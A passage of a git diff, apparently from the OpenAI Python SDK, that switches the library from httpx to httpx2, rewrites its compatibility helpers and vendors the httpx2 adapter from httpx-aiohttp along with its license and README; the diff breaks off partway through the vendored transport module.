- http_client: httpx.AsyncClient | None = None,
+ # See the [httpx2 documentation](https://httpx2.pydantic.dev/api/#asyncclient) for more details.
+ http_client: httpx2.AsyncClient | None = None,
# Enable or disable schema validation for data returned by the API.
# When enabled an error APIResponseValidationError is raised
# if the API responds with invalid data for the expected schema.
@@ -1058,12 +1058,12 @@ def qs(self) -> Querystring:
async def _send_with_auth_retry(
self,
- request: httpx.Request,
+ request: httpx2.Request,
*,
stream: bool,
retried: bool = False,
**kwargs: Unpack[HttpxSendArgs],
- ) -> httpx.Response:
+ ) -> httpx2.Response:
used_workload_identity_auth = False
if self._workload_identity_auth is not None:
@@ -1089,11 +1089,11 @@ async def _send_with_auth_retry(
@override
async def _send_request(
self,
- request: httpx.Request,
+ request: httpx2.Request,
*,
stream: bool,
**kwargs: Unpack[HttpxSendArgs],
- ) -> httpx.Response:
+ ) -> httpx2.Response:
response = await self._send_with_auth_retry(request, stream=stream, **kwargs)
if self._provider_runtime is not None:
if self._provider_runtime.normalize_async_response is not None:
@@ -1177,7 +1177,7 @@ async def _prepare_options(self, options: FinalRequestOptions) -> FinalRequestOp
return await super()._prepare_options(options)
@override
- async def _prepare_request(self, request: httpx.Request) -> None:
+ async def _prepare_request(self, request: httpx2.Request) -> None:
if self._provider_runtime is None:
return
@@ -1188,9 +1188,9 @@ async def _prepare_request(self, request: httpx.Request) -> None:
@property
@override
- def custom_auth(self) -> httpx.Auth | None:
+ def custom_auth(self) -> httpx2.Auth | None:
if self._provider_runtime is not None:
- return httpx.Auth()
+ return httpx2.Auth()
return super().custom_auth
@@ -1210,10 +1210,10 @@ def copy(
organization: str | None = None,
project: str | None = None,
webhook_secret: str | None = None,
- websocket_base_url: str | httpx.URL | None = None,
- base_url: str | httpx.URL | None = None,
+ websocket_base_url: str | httpx2.URL | None = None,
+ base_url: str | httpx2.URL | None = None,
timeout: float | Timeout | None | NotGiven = not_given,
- http_client: httpx.AsyncClient | None = None,
+ http_client: httpx2.AsyncClient | None = None,
max_retries: int | NotGiven = not_given,
default_headers: Mapping[str, str] | None = None,
set_default_headers: Mapping[str, str] | None = None,
@@ -1298,7 +1298,7 @@ def _make_status_error(
err_msg: str,
*,
body: object,
- response: httpx.Response,
+ response: httpx2.Response,
) -> APIStatusError:
data = body.get("error", body) if is_mapping(body) else body
if response.status_code == 400:
diff --git a/src/openai/_constants.py b/src/openai/_constants.py
index fd73c6485d..fa137439f1 100644
--- a/src/openai/_constants.py
+++ b/src/openai/_constants.py
@@ -1,14 +1,14 @@
# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
-import httpx
+import httpx2
RAW_RESPONSE_HEADER = "X-Stainless-Raw-Response"
OVERRIDE_CAST_TO_HEADER = "____stainless_override_cast_to"
# default timeout is 10 minutes
-DEFAULT_TIMEOUT = httpx.Timeout(timeout=600, connect=5.0)
+DEFAULT_TIMEOUT = httpx2.Timeout(timeout=600, connect=5.0)
DEFAULT_MAX_RETRIES = 2
-DEFAULT_CONNECTION_LIMITS = httpx.Limits(max_connections=1000, max_keepalive_connections=100)
+DEFAULT_CONNECTION_LIMITS = httpx2.Limits(max_connections=1000, max_keepalive_connections=100)
INITIAL_RETRY_DELAY = 0.5
MAX_RETRY_DELAY = 8.0
diff --git a/src/openai/_exceptions.py b/src/openai/_exceptions.py
index 86f44b0e15..b7be6a07e0 100644
--- a/src/openai/_exceptions.py
+++ b/src/openai/_exceptions.py
@@ -5,7 +5,7 @@
from typing import TYPE_CHECKING, Any, Optional, cast
from typing_extensions import Literal
-import httpx
+import httpx2
from ._utils import is_dict
from ._models import construct_type
@@ -38,16 +38,16 @@ class OpenAIError(Exception):
class SubjectTokenProviderError(OpenAIError):
- response: httpx.Response | None
+ response: httpx2.Response | None
- def __init__(self, message: str, *, response: httpx.Response | None = None) -> None:
+ def __init__(self, message: str, *, response: httpx2.Response | None = None) -> None:
super().__init__(message)
self.response = response
class APIError(OpenAIError):
message: str
- request: httpx.Request
+ request: httpx2.Request
body: object | None
"""The API response body.
@@ -64,7 +64,7 @@ class APIError(OpenAIError):
param: Optional[str] = None
type: Optional[str]
- def __init__(self, message: str, request: httpx.Request, *, body: object | None) -> None:
+ def __init__(self, message: str, request: httpx2.Request, *, body: object | None) -> None:
super().__init__(message)
self.request = request
self.message = message
@@ -81,10 +81,10 @@ def __init__(self, message: str, request: httpx.Request, *, body: object | None)
class APIResponseValidationError(APIError):
- response: httpx.Response
+ response: httpx2.Response
status_code: int
- def __init__(self, response: httpx.Response, body: object | None, *, message: str | None = None) -> None:
+ def __init__(self, response: httpx2.Response, body: object | None, *, message: str | None = None) -> None:
super().__init__(message or "Data returned by API invalid for expected schema.", response.request, body=body)
self.response = response
self.status_code = response.status_code
@@ -93,11 +93,11 @@ def __init__(self, response: httpx.Response, body: object | None, *, message: st
class APIStatusError(APIError):
"""Raised when an API response has a status code of 4xx or 5xx."""
- response: httpx.Response
+ response: httpx2.Response
status_code: int
request_id: str | None
- def __init__(self, message: str, *, response: httpx.Response, body: object | None) -> None:
+ def __init__(self, message: str, *, response: httpx2.Response, body: object | None) -> None:
super().__init__(message, response.request, body=body)
self.response = response
self.status_code = response.status_code
@@ -105,12 +105,12 @@ def __init__(self, message: str, *, response: httpx.Response, body: object | Non
class APIConnectionError(APIError):
- def __init__(self, *, message: str = "Connection error.", request: httpx.Request) -> None:
+ def __init__(self, *, message: str = "Connection error.", request: httpx2.Request) -> None:
super().__init__(message, request, body=None)
class APITimeoutError(APIConnectionError):
- def __init__(self, request: httpx.Request) -> None:
+ def __init__(self, request: httpx2.Request) -> None:
super().__init__(message="Request timed out.", request=request)
@@ -125,7 +125,7 @@ class AuthenticationError(APIStatusError):
class OAuthError(AuthenticationError):
error: Optional[OAuthErrorCode]
- def __init__(self, *, response: httpx.Response, body: object | None) -> None:
+ def __init__(self, *, response: httpx2.Response, body: object | None) -> None:
message = "OAuth authentication error."
error = None
diff --git a/src/openai/_httpx2.py b/src/openai/_httpx2.py
index 7dd3d8d6d9..491398b43c 100644
--- a/src/openai/_httpx2.py
+++ b/src/openai/_httpx2.py
@@ -1,151 +1,141 @@
from __future__ import annotations
import sys
-import importlib
from typing import Any, Protocol, cast
-import httpx
+import httpx2
from ._constants import DEFAULT_TIMEOUT, DEFAULT_CONNECTION_LIMITS
-class _Httpx2Module(Protocol):
- Auth: type[httpx.Auth]
- Client: type[httpx.Client]
- AsyncClient: type[httpx.AsyncClient]
- URL: type[httpx.URL]
- Response: type[httpx.Response]
- Timeout: type[httpx.Timeout]
- Limits: type[httpx.Limits]
- TimeoutException: type[httpx.TimeoutException]
- HTTPStatusError: type[httpx.HTTPStatusError]
- StreamConsumed: type[httpx.StreamConsumed]
- RequestNotRead: type[httpx.RequestNotRead]
+class _LegacyHttpxModule(Protocol):
+ Auth: type[httpx2.Auth]
+ Client: type[httpx2.Client]
+ AsyncClient: type[httpx2.AsyncClient]
+ URL: type[httpx2.URL]
+ Response: type[httpx2.Response]
+ Timeout: type[httpx2.Timeout]
+ Limits: type[httpx2.Limits]
+ TimeoutException: type[httpx2.TimeoutException]
+ HTTPStatusError: type[httpx2.HTTPStatusError]
+ StreamConsumed: type[httpx2.StreamConsumed]
+ RequestNotRead: type[httpx2.RequestNotRead]
-def _loaded_httpx2() -> _Httpx2Module | None:
- module = sys.modules.get("httpx2")
- if module is None:
- return None
- return cast(_Httpx2Module, module)
+def _loaded_legacy_httpx() -> _LegacyHttpxModule | None:
+ module = sys.modules.get("httpx")
+ return cast(_LegacyHttpxModule, module) if module is not None else None
-def _supports_httpx2() -> bool:
- return sys.version_info >= (3, 10)
-
-
-def _require_httpx2() -> _Httpx2Module:
- if not _supports_httpx2():
- raise RuntimeError(
- "HTTPX2 requires Python 3.10 or later; install the httpx2 extra on a supported interpreter: "
- "pip install 'openai[httpx2]'"
- )
+def is_httpx2_sync_client(value: object) -> bool:
+ return isinstance(value, httpx2.Client)
- try:
- module = importlib.import_module("httpx2")
- except ImportError:
- raise RuntimeError("To use HTTPX2, install the httpx2 extra: pip install 'openai[httpx2]'") from None
- return cast(_Httpx2Module, module)
+def is_httpx2_async_client(value: object) -> bool:
+ return isinstance(value, httpx2.AsyncClient)
-def is_httpx2_sync_client(value: object) -> bool:
- module = _loaded_httpx2()
+def is_legacy_httpx_sync_client(value: object) -> bool:
+ module = _loaded_legacy_httpx()
return module is not None and isinstance(value, module.Client)
-def is_httpx2_async_client(value: object) -> bool:
- module = _loaded_httpx2()
+def is_legacy_httpx_async_client(value: object) -> bool:
+ module = _loaded_legacy_httpx()
return module is not None and isinstance(value, module.AsyncClient)
-def normalize_httpx_url(value: str | httpx.URL) -> httpx.URL:
- module = _loaded_httpx2()
- if module is not None and isinstance(value, module.URL):
- return httpx.URL(str(value))
- if isinstance(value, httpx.URL):
+def normalize_httpx_url(value: str | httpx2.URL) -> httpx2.URL:
+ if isinstance(value, httpx2.URL):
return value
- return httpx.URL(value)
+ module = _loaded_legacy_httpx()
+ legacy_value: object = value
+ if module is not None and isinstance(legacy_value, module.URL):
+ return httpx2.URL(str(legacy_value))
+
+ return httpx2.URL(value)
-def http_response_types() -> tuple[type[httpx.Response], ...]:
- module = _loaded_httpx2()
- if module is None:
- return (httpx.Response,)
- return (httpx.Response, module.Response)
+def http_response_types() -> tuple[type[httpx2.Response], ...]:
+ module = _loaded_legacy_httpx()
+ return (httpx2.Response,) if module is None else (httpx2.Response, module.Response)
-def normalize_httpx_timeout(value: float | httpx.Timeout | None) -> float | httpx.Timeout | None:
- module = _loaded_httpx2()
+
+def normalize_httpx_timeout(value: float | httpx2.Timeout | None) -> float | httpx2.Timeout | None:
+ module = _loaded_legacy_httpx()
if module is not None and isinstance(value, module.Timeout):
- return httpx.Timeout(**value.as_dict())
+ return httpx2.Timeout(**value.as_dict())
return value
-def normalize_httpx2_timeout(value: float | httpx.Timeout | None) -> float | httpx.Timeout | None:
- if isinstance(value, httpx.Timeout):
- return _require_httpx2().Timeout(**value.as_dict())
+def normalize_httpx2_timeout(value: float | httpx2.Timeout | None) -> float | httpx2.Timeout | None:
+ return normalize_httpx_timeout(value)
+
+
+def normalize_legacy_httpx_timeout(value: float | httpx2.Timeout | None) -> float | httpx2.Timeout | None:
+ module = _loaded_legacy_httpx()
+ if module is not None and isinstance(value, httpx2.Timeout):
+ return module.Timeout(**value.as_dict())
return value
-def normalize_httpx2_auth(value: httpx.Auth) -> httpx.Auth:
- if type(value) is httpx.Auth:
- return _require_httpx2().Auth()
+def normalize_httpx2_auth(value: httpx2.Auth) -> httpx2.Auth:
+ module = _loaded_legacy_httpx()
+ if module is not None and type(value) is module.Auth:
+ return httpx2.Auth()
return value
-def timeout_exceptions() -> tuple[type[httpx.TimeoutException], ...]:
- module = _loaded_httpx2()
- if module is None:
- return (httpx.TimeoutException,)
- return (httpx.TimeoutException, module.TimeoutException)
+def normalize_legacy_httpx_auth(value: httpx2.Auth) -> httpx2.Auth:
+ module = _loaded_legacy_httpx()
+ if module is not None and type(value) is httpx2.Auth:
+ return module.Auth()
+ return value
-def status_exceptions() -> tuple[type[httpx.HTTPStatusError], ...]:
- module = _loaded_httpx2()
- if module is None:
- return (httpx.HTTPStatusError,)
- return (httpx.HTTPStatusError, module.HTTPStatusError)
+def timeout_exceptions() -> tuple[type[httpx2.TimeoutException], ...]:
+ module = _loaded_legacy_httpx()
+ return (httpx2.TimeoutException,) if module is None else (httpx2.TimeoutException, module.TimeoutException)
-def stream_consumed_exceptions() -> tuple[type[httpx.StreamConsumed], ...]:
- module = _loaded_httpx2()
- if module is None:
- return (httpx.StreamConsumed,)
- return (httpx.StreamConsumed, module.StreamConsumed)
+def status_exceptions() -> tuple[type[httpx2.HTTPStatusError], ...]:
+ module = _loaded_legacy_httpx()
+ return (httpx2.HTTPStatusError,) if module is None else (httpx2.HTTPStatusError, module.HTTPStatusError)
-def request_not_read_exceptions() -> tuple[type[httpx.RequestNotRead], ...]:
- module = _loaded_httpx2()
- if module is None:
- return (httpx.RequestNotRead,)
- return (httpx.RequestNotRead, module.RequestNotRead)
+def stream_consumed_exceptions() -> tuple[type[httpx2.StreamConsumed], ...]:
+ module = _loaded_legacy_httpx()
+ return (httpx2.StreamConsumed,) if module is None else (httpx2.StreamConsumed, module.StreamConsumed)
-def _set_httpx2_defaults(kwargs: dict[str, Any]) -> _Httpx2Module:
- module = _require_httpx2()
- timeout = kwargs.get("timeout", DEFAULT_TIMEOUT)
- kwargs["timeout"] = normalize_httpx2_timeout(timeout)
+def request_not_read_exceptions() -> tuple[type[httpx2.RequestNotRead], ...]:
+ module = _loaded_legacy_httpx()
+ return (httpx2.RequestNotRead,) if module is None else (httpx2.RequestNotRead, module.RequestNotRead)
+
+
+def _set_httpx2_defaults(kwargs: dict[str, Any]) -> None:
+ kwargs["timeout"] = normalize_httpx2_timeout(kwargs.get("timeout", DEFAULT_TIMEOUT))
limits = kwargs.get("limits", DEFAULT_CONNECTION_LIMITS)
- if isinstance(limits, httpx.Limits):
- kwargs["limits"] = module.Limits(
+ module = _loaded_legacy_httpx()
+ if module is not None and isinstance(limits, module.Limits):
+ limits = httpx2.Limits(
max_connections=limits.max_connections,
max_keepalive_connections=limits.max_keepalive_connections,
keepalive_expiry=limits.keepalive_expiry,
)
-
+ kwargs["limits"] = limits
kwargs.setdefault("follow_redirects", True)
- return module
-def DefaultHttpx2Client(**kwargs: Any) -> httpx.Client:
- """Create an experimental HTTPX2 client with the SDK's recommended defaults."""
- module = _set_httpx2_defaults(kwargs)
- return module.Client(**kwargs)
+def DefaultHttpx2Client(**kwargs: Any) -> httpx2.Client:
+ """Create an HTTPX2 client with the SDK's recommended defaults."""
+ _set_httpx2_defaults(kwargs)
+ return httpx2.Client(**kwargs)
-def DefaultAsyncHttpx2Client(**kwargs: Any) -> httpx.AsyncClient:
- """Create an experimental async HTTPX2 client with the SDK's recommended defaults."""
- module = _set_httpx2_defaults(kwargs)
- return module.AsyncClient(**kwargs)
+def DefaultAsyncHttpx2Client(**kwargs: Any) -> httpx2.AsyncClient:
+ """Create an async HTTPX2 client with the SDK's recommended defaults."""
+ _set_httpx2_defaults(kwargs)
+ return httpx2.AsyncClient(**kwargs)
diff --git a/src/openai/_legacy_response.py b/src/openai/_legacy_response.py
index 542bd6c660..04a927c430 100644
--- a/src/openai/_legacy_response.py
+++ b/src/openai/_legacy_response.py
@@ -20,7 +20,7 @@
from typing_extensions import Awaitable, ParamSpec, override, deprecated, get_origin
import anyio
-import httpx
+import httpx2
import pydantic
from ._types import NoneType
@@ -63,7 +63,7 @@ class LegacyAPIResponse(Generic[R]):
_stream_cls: type[Stream[Any]] | type[AsyncStream[Any]] | None
_options: FinalRequestOptions
- http_response: httpx.Response
+ http_response: httpx2.Response
retries_taken: int
"""The number of retries made. If no retries happened this will be `0`"""
@@ -71,7 +71,7 @@ class LegacyAPIResponse(Generic[R]):
def __init__(
self,
*,
- raw: httpx.Response,
+ raw: httpx2.Response,
cast_to: type[R],
client: BaseClient[Any, Any],
stream: bool,
@@ -128,7 +128,7 @@ class MyModel(BaseModel):
- `str`
- `int`
- `float`
- - `httpx.Response`
+ - `httpx2.Response`
"""
cache_key = to if to is not None else self._cast_to
cached = self._parsed_by_type.get(cache_key)
@@ -146,11 +146,11 @@ class MyModel(BaseModel):
return cast(R, parsed)
@property
- def headers(self) -> httpx.Headers:
+ def headers(self) -> httpx2.Headers:
return self.http_response.headers
@property
- def http_request(self) -> httpx.Request:
+ def http_request(self) -> httpx2.Request:
return self.http_response.request
@property
@@ -158,7 +158,7 @@ def status_code(self) -> int:
return self.http_response.status_code
@property
- def url(self) -> httpx.URL:
+ def url(self) -> httpx2.URL:
return self.http_response.url
@property
@@ -303,7 +303,7 @@ def _parse(self, *, to: type[_T] | None = None) -> R | _T:
and not issubclass(origin, BaseModel)
):
raise RuntimeError(
- f"Unsupported type, expected {cast_to} to be a subclass of {BaseModel}, {dict}, {list}, {Union}, {NoneType}, {str} or {httpx.Response}."
+ f"Unsupported type, expected {cast_to} to be a subclass of {BaseModel}, {dict}, {list}, {Union}, {NoneType}, {str} or {httpx2.Response}."
)
# split is required to handle cases where additional information is included
@@ -389,9 +389,9 @@ async def wrapped(*args: P.args, **kwargs: P.kwargs) -> LegacyAPIResponse[R]:
class HttpxBinaryResponseContent:
- response: httpx.Response
+ response: httpx2.Response
- def __init__(self, response: httpx.Response) -> None:
+ def __init__(self, response: httpx2.Response) -> None:
self.response = response
@property
diff --git a/src/openai/_provider.py b/src/openai/_provider.py
index 2874d11ff3..8a6c83e502 100644
--- a/src/openai/_provider.py
+++ b/src/openai/_provider.py
@@ -4,7 +4,7 @@
from weakref import WeakKeyDictionary
from dataclasses import dataclass
-import httpx
+import httpx2
from ._models import FinalRequestOptions
from ._exceptions import OpenAIError
@@ -19,13 +19,13 @@ class _Provider:
@dataclass
class _ProviderRuntime:
name: str
- base_url: str | httpx.URL
+ base_url: str | httpx2.URL
transform_request: Callable[[FinalRequestOptions], FinalRequestOptions] | None = None
transform_async_request: Callable[[FinalRequestOptions], Awaitable[FinalRequestOptions]] | None = None
- prepare_request: Callable[[httpx.Request], None] | None = None
- prepare_async_request: Callable[[httpx.Request], Awaitable[None]] | None = None
- normalize_response: Callable[[httpx.Response], httpx.Response] | None = None
- normalize_async_response: Callable[[httpx.Response], Awaitable[httpx.Response]] | None = None
+ prepare_request: Callable[[httpx2.Request], None] | None = None
+ prepare_async_request: Callable[[httpx2.Request], Awaitable[None]] | None = None
+ normalize_response: Callable[[httpx2.Response], httpx2.Response] | None = None
+ normalize_async_response: Callable[[httpx2.Response], Awaitable[httpx2.Response]] | None = None
class _ProviderDefinition(Protocol):
diff --git a/src/openai/_response.py b/src/openai/_response.py
index 5a790d69a2..373b7bc9f4 100644
--- a/src/openai/_response.py
+++ b/src/openai/_response.py
@@ -21,7 +21,7 @@
from typing_extensions import Awaitable, ParamSpec, override, get_origin
import anyio
-import httpx
+import httpx2
import pydantic
from ._types import NoneType
@@ -54,7 +54,7 @@ class BaseAPIResponse(Generic[R]):
_stream_cls: type[Stream[Any]] | type[AsyncStream[Any]] | None
_options: FinalRequestOptions
- http_response: httpx.Response
+ http_response: httpx2.Response
retries_taken: int
"""The number of retries made. If no retries happened this will be `0`"""
@@ -62,7 +62,7 @@ class BaseAPIResponse(Generic[R]):
def __init__(
self,
*,
- raw: httpx.Response,
+ raw: httpx2.Response,
cast_to: type[R],
client: BaseClient[Any, Any],
stream: bool,
@@ -80,12 +80,12 @@ def __init__(
self.retries_taken = retries_taken
@property
- def headers(self) -> httpx.Headers:
+ def headers(self) -> httpx2.Headers:
return self.http_response.headers
@property
- def http_request(self) -> httpx.Request:
- """Returns the httpx Request instance associated with the current response."""
+ def http_request(self) -> httpx2.Request:
+ """Returns the HTTPX2 Request instance associated with the current response."""
return self.http_response.request
@property
@@ -93,7 +93,7 @@ def status_code(self) -> int:
return self.http_response.status_code
@property
- def url(self) -> httpx.URL:
+ def url(self) -> httpx2.URL:
"""Returns the URL for which the request was made."""
return self.http_response.url
@@ -236,7 +236,7 @@ def _parse(self, *, to: type[_T] | None = None) -> R | _T:
and not issubclass(origin, BaseModel)
):
raise RuntimeError(
- f"Unsupported type, expected {cast_to} to be a subclass of {BaseModel}, {dict}, {list}, {Union}, {NoneType}, {str} or {httpx.Response}."
+ f"Unsupported type, expected {cast_to} to be a subclass of {BaseModel}, {dict}, {list}, {Union}, {NoneType}, {str} or {httpx2.Response}."
)
# split is required to handle cases where additional information is included
@@ -315,7 +315,7 @@ class MyModel(BaseModel):
- `str`
- `int`
- `float`
- - `httpx.Response`
+ - `httpx2.Response`
"""
cache_key = to if to is not None else self._cast_to
cached = self._parsed_by_type.get(cache_key)
@@ -422,7 +422,7 @@ class MyModel(BaseModel):
- `list`
- `Union`
- `str`
- - `httpx.Response`
+ - `httpx2.Response`
"""
cache_key = to if to is not None else self._cast_to
cached = self._parsed_by_type.get(cache_key)
diff --git a/src/openai/_streaming.py b/src/openai/_streaming.py
index 45c13cc11d..61ed058bd1 100644
--- a/src/openai/_streaming.py
+++ b/src/openai/_streaming.py
@@ -7,7 +7,7 @@
from typing import TYPE_CHECKING, Any, Generic, TypeVar, Iterator, Optional, AsyncIterator, cast
from typing_extensions import Self, Protocol, TypeGuard, override, get_origin, runtime_checkable
-import httpx
+import httpx2
from ._utils import is_mapping, extract_type_var_from_base
from ._exceptions import APIError
@@ -23,7 +23,7 @@
class Stream(Generic[_T]):
"""Provides the core interface to iterate over a synchronous stream response."""
- response: httpx.Response
+ response: httpx2.Response
_options: Optional[FinalRequestOptions] = None
_decoder: SSEBytesDecoder
@@ -31,7 +31,7 @@ def __init__(
self,
*,
cast_to: type[_T],
- response: httpx.Response,
+ response: httpx2.Response,
client: OpenAI,
options: Optional[FinalRequestOptions] = None,
) -> None:
@@ -132,7 +132,7 @@ def close(self) -> None:
class AsyncStream(Generic[_T]):
"""Provides the core interface to iterate over an asynchronous stream response."""
- response: httpx.Response
+ response: httpx2.Response
_options: Optional[FinalRequestOptions] = None
_decoder: SSEDecoder | SSEBytesDecoder
@@ -140,7 +140,7 @@ def __init__(
self,
*,
cast_to: type[_T],
- response: httpx.Response,
+ response: httpx2.Response,
client: AsyncOpenAI,
options: Optional[FinalRequestOptions] = None,
) -> None:
diff --git a/src/openai/_types.py b/src/openai/_types.py
index 9936b00f73..d49aab29d5 100644
--- a/src/openai/_types.py
+++ b/src/openai/_types.py
@@ -31,9 +31,9 @@
runtime_checkable,
)
-import httpx
+import httpx2
import pydantic
-from httpx import URL, Proxy, Timeout, Response, BaseTransport, AsyncBaseTransport
+from httpx2 import URL, Proxy, Timeout, Response, BaseTransport, AsyncBaseTransport
if TYPE_CHECKING:
from ._models import BaseModel, SecurityOptions
@@ -251,7 +251,7 @@ class _GenericAlias(Protocol):
class HttpxSendArgs(TypedDict, total=False):
- auth: httpx.Auth
+ auth: httpx2.Auth
follow_redirects: bool
diff --git a/src/openai/_utils/_logs.py b/src/openai/_utils/_logs.py
index eaffa5ec7a..a997609314 100644
--- a/src/openai/_utils/_logs.py
+++ b/src/openai/_utils/_logs.py
@@ -5,7 +5,7 @@
from ._utils import is_dict
logger: logging.Logger = logging.getLogger("openai")
-httpx_logger: logging.Logger = logging.getLogger("httpx")
+httpx2_logger: logging.Logger = logging.getLogger("httpx2")
SENSITIVE_HEADERS = {"api-key", "authorization", "x-amz-security-token"}
@@ -24,11 +24,11 @@ def setup_logging() -> None:
if env == "debug":
_basic_config()
logger.setLevel(logging.DEBUG)
- httpx_logger.setLevel(logging.DEBUG)
+ httpx2_logger.setLevel(logging.DEBUG)
elif env == "info":
_basic_config()
logger.setLevel(logging.INFO)
- httpx_logger.setLevel(logging.INFO)
+ httpx2_logger.setLevel(logging.INFO)
class SensitiveHeadersFilter(logging.Filter):
diff --git a/src/openai/_vendor/__init__.py b/src/openai/_vendor/__init__.py
new file mode 100644
index 0000000000..16d93a5f02
--- /dev/null
+++ b/src/openai/_vendor/__init__.py
@@ -0,0 +1 @@
+"""Small attributed third-party components required by optional SDK integrations."""
diff --git a/src/openai/_vendor/httpx_aiohttp/FORK.md b/src/openai/_vendor/httpx_aiohttp/FORK.md
new file mode 100644
index 0000000000..d66699bce0
--- /dev/null
+++ b/src/openai/_vendor/httpx_aiohttp/FORK.md
@@ -0,0 +1,13 @@
+# HTTPX2-native aiohttp adapter
+
+This directory vendors the HTTPX2-specific adapter from httpx-aiohttp 0.2.0.
+
+- Upstream: https://github.com/karpetrosyan/httpx-aiohttp
+- Upstream tag: `0.2.0`
+- Upstream commit: `52266a66f6bd73f828133d0fd09114179fd45b60`
+- License: BSD 3-Clause; the original license is preserved in `LICENSE`.
+- The upstream README is preserved without modification in `README.md`.
+
+The upstream distribution always installs and imports legacy HTTPX even when only its HTTPX2 adapter is used. Vendoring the three HTTPX2-specific modules lets `openai[aiohttp]` depend only on HTTPX2 and aiohttp while preserving the upstream transport behavior. No functional changes have been made to the upstream adapter.
+
+The fork may be removed when upstream provides an HTTPX2-only distribution or makes legacy HTTPX genuinely optional.
diff --git a/src/openai/_vendor/httpx_aiohttp/LICENSE b/src/openai/_vendor/httpx_aiohttp/LICENSE
new file mode 100644
index 0000000000..f12539fab7
--- /dev/null
+++ b/src/openai/_vendor/httpx_aiohttp/LICENSE
@@ -0,0 +1,27 @@
+Copyright © 2025, Karen Petrosyan.
+All rights reserved.
+
+Redistribution and use in source and binary forms, with or without
+modification, are permitted provided that the following conditions are met:
+
+* Redistributions of source code must retain the above copyright notice, this
+ list of conditions and the following disclaimer.
+
+* Redistributions in binary form must reproduce the above copyright notice,
+ this list of conditions and the following disclaimer in the documentation
+ and/or other materials provided with the distribution.
+
+* Neither the name of the copyright holder nor the names of its
+ contributors may be used to endorse or promote products derived from
+ this software without specific prior written permission.
+
+THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
+AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
+DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
+FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
+CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
+OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
diff --git a/src/openai/_vendor/httpx_aiohttp/README.md b/src/openai/_vendor/httpx_aiohttp/README.md
new file mode 100644
index 0000000000..938283c9f9
--- /dev/null
+++ b/src/openai/_vendor/httpx_aiohttp/README.md
@@ -0,0 +1,25 @@
+
+httpx-aiohttp - provides transports for httpx to work on top of aiohttp, handling all high-level features like authentication, retries, and cookies through httpx, while delegating low-level socket-level HTTP messaging to aiohttp
+
+
+
+
+
+
+
+
+## Installation
+
+```shell
+uv pip install httpx-aiohttp
+```
+
+For [httpx2](https://github.com/pydantic/httpx2) support, install the `httpx2` extra and use `httpx_aiohttp.httpx2.Httpx2AiohttpClient` / `httpx_aiohttp.httpx2.AiohttpTransport`:
+
+```shell
+uv pip install httpx-aiohttp[httpx2]
+```
+
+## Documentation
+
+Project documentation is available at https://karpetrosyan.github.io/httpx-aiohttp/
diff --git a/src/openai/_vendor/httpx_aiohttp/__init__.py b/src/openai/_vendor/httpx_aiohttp/__init__.py
new file mode 100644
index 0000000000..3029b3b72c
--- /dev/null
+++ b/src/openai/_vendor/httpx_aiohttp/__init__.py
@@ -0,0 +1,9 @@
+"""Variant of httpx_aiohttp for `httpx2 `_.
+
+Requires the optional ``httpx2`` dependency: ``pip install httpx-aiohttp[httpx2]``.
+"""
+
+from .client import Httpx2AiohttpClient
+from .transport import AiohttpTransport
+
+__all__ = ["AiohttpTransport", "Httpx2AiohttpClient"]
diff --git a/src/openai/_vendor/httpx_aiohttp/client.py b/src/openai/_vendor/httpx_aiohttp/client.py
new file mode 100644
index 0000000000..1187fcb1da
--- /dev/null
+++ b/src/openai/_vendor/httpx_aiohttp/client.py
@@ -0,0 +1,62 @@
+from __future__ import annotations
+
+import ssl
+import typing as t
+
+import httpx2 as httpx
+
+SOCKET_OPTION = t.Union[
+ t.Tuple[int, int, int],
+ t.Tuple[int, int, t.Union[bytes, bytearray]],
+ t.Tuple[int, int, None, int],
+]
+
+
+class Httpx2AiohttpClient(httpx.AsyncClient):
+ def _init_transport(
+ self,
+ verify: ssl.SSLContext | str | bool = True,
+ cert: t.Union[str, t.Tuple[str, str], t.Tuple[str, str, str], None] = None,
+ trust_env: bool = True,
+ http1: bool = True,
+ http2: bool = False,
+ limits: httpx.Limits = httpx.Limits(max_connections=100, max_keepalive_connections=20),
+ transport: httpx.AsyncBaseTransport | None = None,
+ **kwargs: t.Any,
+ ) -> httpx.AsyncBaseTransport:
+ from .transport import AiohttpTransport
+
+ if transport is not None:
+ return transport
+
+ return AiohttpTransport(
+ verify=verify,
+ cert=cert,
+ trust_env=trust_env,
+ http1=http1,
+ http2=http2,
+ limits=limits,
+ )
+
+ def _init_proxy_transport(
+ self,
+ proxy: httpx.Proxy,
+ verify: ssl.SSLContext | str | bool = True,
+ cert: t.Union[str, t.Tuple[str, str], t.Tuple[str, str, str], None] = None,
+ trust_env: bool = True,
+ http1: bool = True,
+ http2: bool = False,
+ limits: httpx.Limits = httpx.Limits(max_connections=100, max_keepalive_connections=20),
+ **kwargs: t.Any,
+ ) -> httpx.AsyncBaseTransport:
+ from .transport import AiohttpTransport
+
+ return AiohttpTransport(
+ verify=verify,
+ cert=cert,
+ trust_env=trust_env,
+ http1=http1,
+ http2=http2,
+ limits=limits,
+ proxy=proxy,
+ )
diff --git a/src/openai/_vendor/httpx_aiohttp/transport.py b/src/openai/_vendor/httpx_aiohttp/transport.py
new file mode 100644
index 0000000000..263bfe106d
--- /dev/null
+++ b/src/openai/_vendor/httpx_aiohttp/transport.py
@@ -0,0 +1,201 @@
+from __future__ import annotations
+
+import contextlib
+import ssl
+import typing
+import typing as t
+from importlib import metadata
+from logging import warning
+
+import aiohttp
+import httpx2 as httpx
+from aiohttp import BasicAuth, ClientTimeout
+from aiohttp.client import ClientResponse, ClientSession
+
+AIOHTTP_EXC_MAP = {
